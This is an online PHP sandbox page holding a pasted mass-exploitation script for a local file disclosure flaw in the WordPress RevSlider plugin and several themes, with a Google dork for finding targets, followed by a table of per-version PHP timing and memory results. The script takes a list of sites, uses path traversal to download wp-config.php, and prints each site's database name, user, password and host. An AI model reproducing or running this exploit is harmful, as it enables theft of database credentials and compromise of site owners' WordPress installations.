Online PHP editor | perf for K4M4q

@ 2017-07-12T06:04:16Z

# Exploit Title: [Wordpress RevSlider Plugin LFD]
# Google Dork: inurl:/admin-ajax.php?action=revslider_show_image
# Date: 12/29/14
# Exploit Author: FarbodEZRaeL
# Vendor Homepage: iranhack.org
# Software Link: wordpress.org
# Tested on: windows
#Exploit:
<html>
<head>
<title>Exploits Wordpress</title>
</head>
<body style="background-color: rebeccapurple;">

<pre><p><center style="color: aqua;">

=============================================================
=       Exploits Wordpress RevSlider Plugin LFD Vuln        =
=                                                           =
=                    Coded by FarbodEZRaeL                  =
=                    Iranhack Security team                 =
=                       www.iranhack.org                    =
=                     Fix bug Other Version                 =
=============================================================

<pre><href>
<form method='POST'>
<textarea name='sites' cols='45' rows='0'></textarea>
<br>
<input type='submit' value='Exploit' />
</form>

<?php

# Coded by FarbodEZRaeL
# Exploits Wordpress RevSlider Plugin LFD Vuln
@set_time_limit(0);
error_reporting(0);
$sites = explode("\r\n", $_POST['sites']);

foreach($sites as $site) {

$site = trim($site);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$site");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.0)");
$get = curl_exec($ch);
curl_close($ch);
if(preg_match("#WordPress (.*?)/>#", $get, $version)){
$str = str_replace('/>', "", $version[0]);
$str = str_replace('"', "", $str);
}
$users = @file_get_contents("$site/?author=1");
preg_match('/<title>;(.*?)<\/title>/si',$users,$user);
$wpuser = explode('|',$user[1]);
echo " <br>======================================</br>";
echo "Site : ".$site."<br> Wp User : ".$wpuser[0]."<br> Version :
".$str."<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,
"$site/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)");
$xp = curl_exec ($ch);
curl_close($ch);
if(preg_match("#DB_USER#i",$xp)){
preg_match("#'DB_NAME', '(.*?)'#i",$xp,$DB_NAME);
echo "DB_NAME:{$DB_NAME[1]}<br>";
preg_match("#'DB_USER', '(.*?)'#i",$xp,$DB_USER);
echo "DB_USER:{$DB_USER[1]}<br>";
preg_match("#'DB_PASSWORD', '(.*?)'#i",$xp,$DB_PASSWORD);
echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
preg_match("#'DB_HOST', '(.*?)'#i",$xp,$DB_HOST);
echo "DB_HOST:{$DB_HOST[1]}<br>";

}

$lt =
array("wp-content/themes/construct/lib/scripts/dl-skin.php","wp-content/themes/persuasion/lib/scripts/dl-skin.php","wp-content/themes/manbiz2/lib/scripts/dl-skin.php","wp-content/themes/method/lib/scripts/dl-skin.php","wp-content/themes/elegance/lib/scripts/dl-skin.php","wp-content/themes/modular/lib/scripts/dl-skin.php","wp-content/themes/myriad/lib/scripts/dl-skin.php","wp-content/themes/echelon/lib/scripts/dl-skin.php","wp-content/themes/fusion/lib/scripts/dl-skin.php","wp-content/themes/awake/lib/scripts/dl-skin.php");
foreach($lt as $l){
$site = "$site/$l";
$process = curl_init($site);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
curl_setopt($process, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
7.0; Windows NT 6.0)");
curl_setopt($process, CURLOPT_HEADER, TRUE);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_POSTFIELDS,
"_mysite_download_skin=../../../../../wp-config.php");
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
if(preg_match("#DB_USER#i",$return)){
preg_match("#'DB_NAME', '(.*?)'#i",$return,$DB_NAME);
echo "DB_NAME:{$DB_NAME[1]}<br>";
preg_match("#'DB_USER', '(.*?)'#i",$return,$DB_USER);
echo "DB_USER:{$DB_USER[1]}<br>";
preg_match("#'DB_PASSWORD', '(.*?)'#i",$return,$DB_PASSWORD);
echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
preg_match("#'DB_HOST', '(.*?)'#i",$return,$DB_HOST);
echo "DB_HOST:{$DB_HOST[1]}<br>";
break;
echo " <br>-----------------------------------</br>";
ob_implicit_flush(true);
ob_end_flush();
}
}
}

?>
</pre></p></center>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

Version	System time (s)	User time (s)	Memory (MiB)
8.3.6	0.019	0.003	16.88
8.3.5	0.017	0.007	16.60
8.3.4	0.014	0.007	18.88
8.3.3	0.015	0.000	18.70
8.3.2	0.003	0.005	20.16
8.3.1	0.008	0.000	21.86
8.3.0	0.008	0.000	21.93
8.2.18	0.015	0.004	18.29
8.2.17	0.004	0.012	22.96
8.2.16	0.014	0.003	19.04
8.2.15	0.008	0.000	24.18
8.2.14	0.005	0.003	24.66
8.2.13	0.006	0.003	19.44
8.2.12	0.000	0.007	26.35
8.2.11	0.003	0.006	20.77
8.2.10	0.004	0.007	18.28
8.2.9	0.004	0.004	19.43
8.2.8	0.008	0.000	18.18
8.2.7	0.003	0.006	17.75
8.2.6	0.006	0.003	18.05
8.2.5	0.005	0.003	18.10
8.2.4	0.000	0.008	20.80
8.2.3	0.000	0.009	20.98
8.2.2	0.000	0.008	18.17
8.2.1	0.005	0.003	18.23
8.2.0	0.000	0.007	18.16
8.1.28	0.010	0.007	25.92
8.1.27	0.004	0.004	23.93
8.1.26	0.004	0.004	26.35
8.1.25	0.004	0.004	28.09
8.1.24	0.006	0.003	23.79
8.1.23	0.008	0.003	19.21
8.1.22	0.004	0.004	17.74
8.1.21	0.008	0.000	18.77
8.1.20	0.004	0.004	17.47
8.1.19	0.003	0.006	17.48
8.1.18	0.003	0.005	18.10
8.1.17	0.004	0.004	19.15
8.1.16	0.007	0.000	19.15
8.1.15	0.004	0.004	20.67
8.1.14	0.000	0.007	19.56
8.1.13	0.004	0.004	18.90
8.1.12	0.004	0.004	17.60
8.1.11	0.004	0.004	17.51
8.1.10	0.003	0.006	17.47
8.1.9	0.000	0.007	17.53
8.1.8	0.000	0.008	17.55
8.1.7	0.003	0.005	17.56
8.1.6	0.003	0.006	17.57
8.1.5	0.004	0.004	17.54
8.1.4	0.000	0.008	17.57
8.1.3	0.004	0.004	17.69
8.1.2	0.006	0.007	17.73
8.1.1	0.000	0.008	17.75
8.1.0	0.004	0.004	17.50
8.0.30	0.004	0.004	18.77
8.0.29	0.009	0.000	16.88
8.0.28	0.004	0.004	18.49
8.0.27	0.008	0.000	17.36
8.0.26	0.005	0.003	17.03
8.0.25	0.003	0.003	17.13
8.0.24	0.000	0.007	17.08
8.0.23	0.004	0.004	17.15
8.0.22	0.008	0.000	17.07
8.0.21	0.007	0.000	17.07
8.0.20	0.007	0.000	16.99
8.0.19	0.004	0.004	17.01
8.0.18	0.004	0.004	17.07
8.0.17	0.004	0.004	17.14
8.0.16	0.004	0.004	17.08
8.0.15	0.005	0.002	17.03
8.0.14	0.004	0.004	16.98
8.0.13	0.003	0.003	13.53
8.0.12	0.005	0.002	17.03
8.0.11	0.004	0.004	16.93
8.0.10	0.003	0.006	16.89
8.0.9	0.004	0.004	17.10
8.0.8	0.007	0.011	17.05
8.0.7	0.003	0.005	16.95
8.0.6	0.004	0.004	17.04
8.0.5	0.004	0.004	17.01
8.0.3	0.009	0.010	17.21
8.0.2	0.016	0.003	17.40
8.0.1	0.003	0.005	17.23
8.0.0	0.010	0.009	16.85
7.4.33	0.003	0.003	15.55
7.4.32	0.003	0.003	16.76
7.4.30	0.000	0.006	16.72
7.4.29	0.011	0.000	16.51
7.4.28	0.003	0.006	16.55
7.4.27	0.007	0.000	16.58
7.4.26	0.000	0.008	16.67
7.4.25	0.003	0.003	16.57
7.4.24	0.002	0.005	16.62
7.4.23	0.000	0.007	16.71
7.4.22	0.007	0.010	16.63
7.4.21	0.005	0.010	16.66
7.4.20	0.003	0.003	16.63
7.4.16	0.005	0.013	16.67
7.4.15	0.014	0.004	17.40
7.4.14	0.010	0.010	17.86
7.4.13	0.006	0.013	16.64
7.4.12	0.008	0.012	16.57
7.4.11	0.009	0.008	16.58
7.4.10	0.016	0.000	16.70
7.4.9	0.000	0.017	16.73
7.4.8	0.009	0.009	19.39
7.4.7	0.000	0.015	16.50
7.4.6	0.016	0.003	16.69
7.4.5	0.007	0.011	16.42
7.4.4	0.007	0.010	16.73
7.4.3	0.013	0.008	16.62
7.4.0	0.007	0.010	15.04
7.3.33	0.000	0.006	13.23
7.3.32	0.000	0.005	13.23
7.3.31	0.004	0.004	16.44
7.3.30	0.004	0.004	16.48
7.3.29	0.000	0.007	16.44
7.3.28	0.009	0.008	16.49
7.3.27	0.010	0.010	17.40
7.3.26	0.011	0.011	16.51
7.3.25	0.011	0.008	16.56
7.3.24	0.006	0.016	16.58
7.3.23	0.009	0.009	16.64
7.3.21	0.010	0.007	16.50
7.3.20	0.010	0.010	16.61
7.3.19	0.010	0.007	16.57
7.3.18	0.007	0.010	16.53
7.3.17	0.009	0.009	16.77
7.3.16	0.011	0.005	16.75
7.3.12	0.010	0.007	14.93
7.3.11	0.007	0.011	14.98
7.3.10	0.004	0.015	15.21
7.3.9	0.006	0.012	14.97
7.3.8	0.011	0.004	15.02
7.3.7	0.006	0.009	14.73
7.3.6	0.012	0.003	14.79
7.3.5	0.003	0.009	14.82
7.3.4	0.003	0.009	15.02
7.3.3	0.009	0.009	15.04
7.3.2	0.008	0.003	16.66
7.3.1	0.000	0.010	16.63
7.3.0	0.000	0.010	16.71
7.2.33	0.006	0.012	16.76
7.2.32	0.017	0.007	16.87
7.2.31	0.007	0.010	16.73
7.2.30	0.010	0.007	16.51
7.2.29	0.009	0.013	16.92
7.2.25	0.009	0.009	15.09
7.2.24	0.010	0.010	15.02
7.2.23	0.003	0.013	15.20
7.2.22	0.008	0.008	15.35
7.2.21	0.003	0.013	15.03
7.2.20	0.007	0.007	15.29
7.2.19	0.003	0.010	14.98
7.2.18	0.007	0.003	15.16
7.2.17	0.000	0.013	14.96
7.2.11	0.025	0.006	16.71
7.2.6	0.007	0.010	16.86
7.2.0	0.006	0.006	19.59
7.1.33	0.003	0.009	16.09
7.1.32	0.007	0.003	15.96
7.1.31	0.010	0.006	15.97
7.1.30	0.007	0.007	15.54
7.1.29	0.009	0.009	15.92
7.1.28	0.006	0.006	15.91
7.1.27	0.007	0.003	15.64
7.1.26	0.011	0.003	15.99
7.1.20	0.007	0.007	15.79
7.1.10	0.003	0.012	18.37
7.1.7	0.006	0.006	17.25
7.1.6	0.016	0.009	34.81
7.1.5	0.017	0.010	34.96
7.1.4	0.016	0.010	34.46
7.1.3	0.017	0.010	34.55
7.1.2	0.013	0.013	34.57
7.1.1	0.000	0.015	16.36
7.1.0	0.000	0.012	16.62
7.0.20	0.006	0.006	16.86
7.0.19	0.000	0.012	16.41
7.0.18	0.003	0.009	16.13
7.0.17	0.008	0.004	16.41
7.0.16	0.003	0.009	16.37
7.0.15	0.005	0.009	16.08
7.0.14	0.003	0.009	16.38
7.0.13	0.003	0.010	16.44
7.0.12	0.006	0.006	16.42
7.0.11	0.003	0.011	16.43
7.0.10	0.004	0.011	16.25
7.0.9	0.007	0.007	16.41
7.0.8	0.007	0.007	16.41
7.0.7	0.000	0.016	16.14
7.0.6	0.003	0.012	16.25
7.0.5	0.009	0.003	16.57
7.0.4	0.000	0.012	16.54
7.0.3	0.004	0.008	16.75
7.0.2	0.000	0.012	16.50
7.0.1	0.009	0.003	16.64
7.0.0	0.004	0.008	16.54

preferences:dark modelive preview